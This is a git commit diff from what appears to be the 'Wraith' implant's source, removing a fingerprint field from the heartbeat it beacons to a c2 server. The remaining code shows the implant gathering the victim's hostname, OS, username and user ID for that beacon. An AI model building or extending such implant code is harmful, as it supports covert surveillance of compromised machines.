chore: remove fingerprint from heartbeat
Fingerprints will be generted by pc3 based on the other heartbeat parameters, not by the Wraith.
This commit is contained in:
parent
570068c8a0
commit
21302d4e78
|
@ -5,9 +5,6 @@ import "time"
|
|||
// The structure of heartbeats which Wraiths send to c2 to register
|
||||
// their status and presence.
|
||||
type PacketHeartbeat struct {
|
||||
// The unique fingerprint of this Wraith.
|
||||
Fingerprint string
|
||||
|
||||
// A unique fingerprint of the family/strain this Wraith belongs to.
|
||||
StrainId string
|
||||
|
||||
|
|
|
@ -156,7 +156,6 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
go func() {
|
||||
// Cache some values used in the heartbeat.
|
||||
|
||||
fingerprint := w.GetFingerprint()
|
||||
strain := w.GetStrainId()
|
||||
initTime := w.GetInitTime()
|
||||
hostname, err := os.Hostname()
|
||||
|
@ -185,15 +184,14 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
case <-time.After(time.Duration(interval) * time.Second):
|
||||
// Build a heartbeat data packet.
|
||||
heartbeatData := proto.PacketHeartbeat{
|
||||
Fingerprint: fingerprint,
|
||||
StrainId: strain,
|
||||
InitTime: initTime,
|
||||
HostOS: runtime.GOOS,
|
||||
HostArch: runtime.GOARCH,
|
||||
Hostname: hostname,
|
||||
HostUser: username,
|
||||
HostUserId: userId,
|
||||
Errors: errs,
|
||||
StrainId: strain,
|
||||
InitTime: initTime,
|
||||
HostOS: runtime.GOOS,
|
||||
HostArch: runtime.GOARCH,
|
||||
Hostname: hostname,
|
||||
HostUser: username,
|
||||
HostUserId: userId,
|
||||
Errors: errs,
|
||||
}
|
||||
heartbeatBytes, err := proto.Marshal(&heartbeatData, m.OwnPrivKey)
|
||||
if err != nil {
|
||||
|
|
Loading…
Reference in New Issue
Block a user